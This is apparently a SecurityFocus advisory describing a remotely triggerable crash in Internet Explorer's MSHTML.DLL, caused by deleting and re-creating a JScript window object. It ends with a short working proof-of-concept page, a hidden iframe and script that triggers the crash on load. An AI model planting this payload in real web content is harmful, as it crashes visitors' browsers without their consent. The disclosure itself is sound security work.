source: http://www.securityfocus.com/bid/2202/info

MSHTML.DLL is the shared library for parsing HTML in Internet Explorer and related applications. It may be possible for an attacker to crash this library remotely and cause a denial of service with special Jscript code.

This bug involves Jscript's ability to handle multiple window objects. If a window object is deleted after it receives data and then re-initalized, the library will reportedly crash. This behavior has been attributed to a stack overflow by its discoverer. It is reportedly not exploitable in any way that may permit an attacker to gain access to the victim host.

Microsoft has acknowledged this bug and it should be fixed in the next service pack. 

<iframe id=test style="display:none"></iframe>
<script>
Larholm = {}; // Object literal
test.document.open(); // Stream data
test.document.write("<s"+"cript>top.Larholm.test=0</s"+"cript>");
delete Larholm;
Larholm = {}; // Crash
</script> 